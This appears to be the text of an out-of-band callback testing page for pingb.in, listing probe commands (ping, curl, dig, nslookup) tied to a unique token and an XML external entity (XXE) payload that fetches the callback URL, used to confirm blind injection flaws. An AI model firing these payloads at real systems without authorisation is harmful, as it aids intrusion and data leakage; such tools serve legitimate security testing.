$ ping -c1 -p 003b481a5842dfebddbd2f4e783b8f00 pingb.in
 
$ curl pingb.in/p/3b481a5842dfebddbd2f4e783b8f
 
$ dig 3b481a5842dfebddbd2f4e783b8f @pingb.in
 
$ dig 3b481a5842dfebddbd2f4e783b8f.ns.pingb.in
 
C:\> nslookup 3b481a5842dfebddbd2f4e783b8f pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/3b481a5842dfebddbd2f4e783b8f">]>
    <foo>&xxe;</foo>
 
Waiting for ping...